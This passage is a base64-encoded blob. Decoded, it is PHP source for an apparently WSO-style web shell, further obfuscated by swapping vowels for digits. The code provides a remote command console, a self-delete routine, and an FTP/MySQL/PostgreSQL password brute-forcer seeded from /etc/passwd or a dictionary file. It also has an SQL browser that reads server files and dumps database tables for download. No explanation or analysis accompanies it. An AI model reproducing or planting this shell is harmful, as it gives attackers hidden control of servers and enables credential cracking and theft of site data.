DVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkLmNmLjFsNDFzLnYxbDM1KTs0ZihkLmNmLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30iIHYxbDM1PSI+PiI+IDxuMmJyPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddPydjaDVjazVkJzonJykuJz4gcjVkNHI1Y3Qgc3RkNXJyIHQyIHN0ZDIzdCAoYT4mNik8L24yYnI+PGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc0bjowOyIgcjUxZDJubHk+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsNCgl9DQoJNWNoMiAnPC90NXh0MXI1MT48dDFibDUgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgI2RmaTtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyLXQycDowcHg7IiBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgdzRkdGg9IjYwMCUiPjx0cj48dGQgdzRkdGg9IjYlIj4kPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjBweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KCTVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOw0KCWQ0NSgnYnk1IScpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TNWxmUjVtMnY1KCkgew0KDQoJNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KCQk0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KCQkJZDQ1KCdTaDVsbCBoMXMgYjU1biByNW0ydjVkJyk7DQoJCTVsczUNCgkJCTVjaDIgJzNubDRuayA1cnIyciEnOw0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykNCiAgICAgICAgd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlMzNGM0ZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD5SNTFsbHkgdzFudCB0MiByNW0ydjUgdGg1IHNoNWxsPzxicj48MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCd5NXNcJykiPlk1czwvMT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KCXdzMkg1MWQ1cigpOw0KCTRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgew0KCQk1Y2gyICc8aDY+UjVzM2x0czwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzcDFuPlR5cDU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwcjJ0MiddKS4nIDxzcDFuPlM1cnY1cjo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3M1cnY1ciddKS4nPGJyPic7DQoJCTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ2Z0cCcgKSB7DQoJCQlmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkZnAgPSBAZnRwX2Mybm41Y3QoJDRwLCAkcDJydD8kcDJydDphNik7DQoJCQkJNGYoISRmcCkgcjV0M3JuIGYxbHM1Ow0KCQkJCSRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7DQoJCQkJQGZ0cF9jbDJzNSgkZnApOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdteXNxbCcgKSB7DQoJCQlmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAbXlzcWxfY2wyczUoJHI1cyk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ3Bnc3FsJyApIHsNCgkJCWYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRzdHIgPSAiaDJzdD0nIi4kNHAuIicgcDJydD0nIi4kcDJydC4iJyAzczVyPSciLiRsMmc0bi4iJyBwMXNzdzJyZD0nIi4kcDFzcy4iJyBkYm4xbTU9cDJzdGdyNXMiOw0KCQkJCSRyNXMgPSBAcGdfYzJubjVjdCgkc3RyKTsNCgkJCQlAcGdfY2wyczUoJHI1cyk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0NCgkJJHMzY2M1c3MgPSAwOw0KCQkkMXR0NW1wdHMgPSAwOw0KCQkkczVydjVyID0gNXhwbDJkNSgiOiIsICRfUE9TVFsnczVydjVyJ10pOw0KCQk0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7DQoJCQkkdDVtcCA9IEBmNGw1KCcvNXRjL3Axc3N3ZCcpOw0KCQkJNGYoIDRzXzFycjF5KCR0NW1wKSApDQoJCQkJZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KCQkJCQkkbDRuNSA9IDV4cGwyZDUoIjoiLCAkbDRuNSk7DQoJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQk0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsNCgkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJCTRmKEAkX1BPU1RbJ3I1djVyczUnXSkgew0KCQkJCQkJJHRtcCA9ICIiOw0KCQkJCQkJZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpDQoJCQkJCQkJJHRtcCAuPSAkbDRuNVswXVskNF07DQoJCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJCTRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7DQoJCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkdG1wKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgew0KCQkJJHQ1bXAgPSBAZjRsNSgkX1BPU1RbJ2Q0Y3QnXSk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gdHI0bSgkbDRuNSk7DQoJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQk0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsNCgkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydsMmc0biddKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjUpLic8YnI+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJfQ0KCQk1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsNCgl9DQoJNWNoMiAnPGg2PkZUUCBicjN0NWYycmM1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KCQkuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQoJNWNoMiAnPC9kNHY+PGJyPic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCgljbDFzcyBEYkNsMXNzIHsNCgkJdjFyICR0eXA1Ow0KCQl2MXIgJGw0bms7DQoJCXYxciAkcjVzOw0KCQlmM25jdDQybiBEYkNsMXNzKCR0eXA1KQl7DQoJCQkkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KCQl9DQoJCWYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KCQkJCQk0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KSB7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZjV0Y2goKSB7DQoJCQkkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGw0c3REYnMoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIDVycjJyKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsXzVycjJyKCk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KCQkJCQkJcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQoJCQkJCTVsczUNCgkJCQkJCSR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQoJCQkJCSRyPTFycjF5KCk7DQoJCQkJCXdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICQ0WydmNGw1J107DQoJCQkJCSR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQoJCQkJCXI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQkkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCgkJCQkJJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KCQkJCQkkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQkkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PSBuM2xsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKDRzX24zbTVyNGMoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQoJCQkJCQkJJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHQxYmw1LidgICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLiIpIFZBTFVFUyBcblx0KCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gZjFsczU7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQoJCQkJCXdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCgkJCQkJCSRjMmwzbW5zID0gMXJyMXkoKTsNCgkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQoJCQkJCQkJJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJfTsNCgkkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQoJNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KCQkkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCSRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KCQkJCSRkYi0+ZDNtcCgkdik7DQogICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9IDVsczU0ZigkZnAgPSBAZjJwNW4oJF9QT1NUWydmNGw1J10sICd3JykpIHsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIDNuczV0KCRfUE9TVFsncGEnXSk7DQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgIg0KPGg2PlNxbCBicjJ3czVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9C